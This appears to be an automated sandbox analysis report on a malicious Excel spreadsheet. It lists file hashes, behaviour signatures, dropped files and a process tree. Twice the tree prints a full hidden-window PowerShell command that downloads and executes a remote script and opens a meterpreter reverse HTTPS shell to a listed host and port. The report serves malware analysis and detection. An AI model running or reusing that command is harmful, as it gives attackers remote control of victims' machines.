Analysis

  • max time kernel
    48s
  • max time network
    45s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240704-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07-07-2024 21:59

General

  • Target

    a146d0f5e344ae93eec7f9f4a8118f69fdd8bcfa9710424fe6d6b114929f31b8.xls

  • Size

    44KB

  • MD5

    13414c6061211ae33931af1fb7e2fa09

  • SHA1

    d553bb1e647c862504857fdda2151eabc8e435d5

  • SHA256

    a146d0f5e344ae93eec7f9f4a8118f69fdd8bcfa9710424fe6d6b114929f31b8

  • SHA512

    39a408693268a20d8961b8b662058edffb726f82a2ace9ca0d1da76e826610526a17fe262c6701e7e8ac191bf1159107f449e951fc452d3a5950c2842c24008b

  • SSDEEP

    768:NNtvo+hzsk3hbdlylKsgqopeJBWhZFGkE+cL2NdAJI4YfuFwmQQc8kJ9acp9acyL:rak3hbdlylKsgqopeJBWhZFGkE+cL2Nu

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1

Signatures

  • Process spawned unexpected child process 2 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\a146d0f5e344ae93eec7f9f4a8118f69fdd8bcfa9710424fe6d6b114929f31b8.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3492
    • C:\Windows\SYSTEM32\wscript.exe
      wscript C:\Users\Public\config.vbs
      2⤵
      • Process spawned unexpected child process
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:1848
      • C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe
        "C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -nop -noexit -c IEX ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 172.19.240.124 -Lport 1234 -Force
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2260
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -WindowStyle Hidden -noprofile -noexit -c IEX ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 172.19.240.124 -Lport 1234 -Force
    1⤵
    • Process spawned unexpected child process
    • Blocklisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:220

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

    Filesize

    53KB

    MD5

    a26df49623eff12a70a93f649776dab7

    SHA1

    efb53bd0df3ac34bd119adf8788127ad57e53803

    SHA256

    4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245

    SHA512

    e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dodvz51q.jvl.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

    Filesize

    1KB

    MD5

    d491dd55e0fbf193a3a98500c27734a4

    SHA1

    211534491f02d0e06ecfabc702fee9a59705b57e

    SHA256

    b5332a5b9b78dab39d820ccd8d0adb52ef1991245488afcd5774928bdad10e22

    SHA512

    278cb6ecfa35b487dd5ac775ef6febec58fc0c39123fa98268a3f50d1ea3667158ecce0b40caeb61943c6204e1c4fea7cad16074106d3f1e7e4451e7d980d64d

  • C:\Users\Public\config.vbs

    Filesize

    461B

    MD5

    ce52ab154163c511f0efa6a61e22ab64

    SHA1

    9f12cc215e15802eddcb02cb5370ef16b21fa3a6

    SHA256

    df342167afd4f1758c02b8793b27a2f9e35f074ea20aa1aa75c69d48d88fcd17

    SHA512

    cf50d9b51fcb4f3150aeca158a7a2249b1f5806d0e9ffc2b479ef936a7d85fdaaf302ce5cb3263e03b3c7805d38ca734f167ff757e6b6cdf89343f13a2bf0f78

  • memory/220-35-0x000001F452150000-0x000001F452172000-memory.dmp

    Filesize

    136KB

  • memory/220-57-0x000001F452670000-0x000001F4526B4000-memory.dmp

    Filesize

    272KB

  • memory/3492-9-0x00007FFBDBEF0000-0x00007FFBDC0E5000-memory.dmp

    Filesize

    2.0MB

  • memory/3492-24-0x00007FFBDBEF0000-0x00007FFBDC0E5000-memory.dmp

    Filesize

    2.0MB

  • memory/3492-1-0x00007FFBDBF8D000-0x00007FFBDBF8E000-memory.dmp

    Filesize

    4KB

  • memory/3492-10-0x00007FFBDBEF0000-0x00007FFBDC0E5000-memory.dmp

    Filesize

    2.0MB

  • memory/3492-11-0x00007FFBDBEF0000-0x00007FFBDC0E5000-memory.dmp

    Filesize

    2.0MB

  • memory/3492-8-0x00007FFBDBEF0000-0x00007FFBDC0E5000-memory.dmp

    Filesize

    2.0MB

  • memory/3492-12-0x00007FFB99F10000-0x00007FFB99F20000-memory.dmp

    Filesize

    64KB

  • memory/3492-14-0x00007FFBDBEF0000-0x00007FFBDC0E5000-memory.dmp

    Filesize

    2.0MB

  • memory/3492-15-0x00007FFBDBEF0000-0x00007FFBDC0E5000-memory.dmp

    Filesize

    2.0MB

  • memory/3492-16-0x00007FFB99F10000-0x00007FFB99F20000-memory.dmp

    Filesize

    64KB

  • memory/3492-17-0x00007FFBDBEF0000-0x00007FFBDC0E5000-memory.dmp

    Filesize

    2.0MB

  • memory/3492-18-0x00007FFBDBEF0000-0x00007FFBDC0E5000-memory.dmp

    Filesize

    2.0MB

  • memory/3492-13-0x00007FFBDBEF0000-0x00007FFBDC0E5000-memory.dmp

    Filesize

    2.0MB

  • memory/3492-7-0x00007FFBDBEF0000-0x00007FFBDC0E5000-memory.dmp

    Filesize

    2.0MB

  • memory/3492-25-0x00007FFBDBEF0000-0x00007FFBDC0E5000-memory.dmp

    Filesize

    2.0MB

  • memory/3492-32-0x00007FFBDBEF0000-0x00007FFBDC0E5000-memory.dmp

    Filesize

    2.0MB

  • memory/3492-33-0x00007FFBDBEF0000-0x00007FFBDC0E5000-memory.dmp

    Filesize

    2.0MB

  • memory/3492-6-0x00007FFB9BF70000-0x00007FFB9BF80000-memory.dmp

    Filesize

    64KB

  • memory/3492-4-0x00007FFB9BF70000-0x00007FFB9BF80000-memory.dmp

    Filesize

    64KB

  • memory/3492-5-0x00007FFBDBEF0000-0x00007FFBDC0E5000-memory.dmp

    Filesize

    2.0MB

  • memory/3492-3-0x00007FFB9BF70000-0x00007FFB9BF80000-memory.dmp

    Filesize

    64KB

  • memory/3492-58-0x00007FFBDBEF0000-0x00007FFBDC0E5000-memory.dmp

    Filesize

    2.0MB

  • memory/3492-2-0x00007FFB9BF70000-0x00007FFB9BF80000-memory.dmp

    Filesize

    64KB

  • memory/3492-64-0x00007FFBDBF8D000-0x00007FFBDBF8E000-memory.dmp

    Filesize

    4KB

  • memory/3492-0-0x00007FFB9BF70000-0x00007FFB9BF80000-memory.dmp

    Filesize

    64KB

  • memory/3492-68-0x00007FFBDBEF0000-0x00007FFBDC0E5000-memory.dmp

    Filesize

    2.0MB

  • memory/3492-69-0x00007FFBDBEF0000-0x00007FFBDC0E5000-memory.dmp

    Filesize

    2.0MB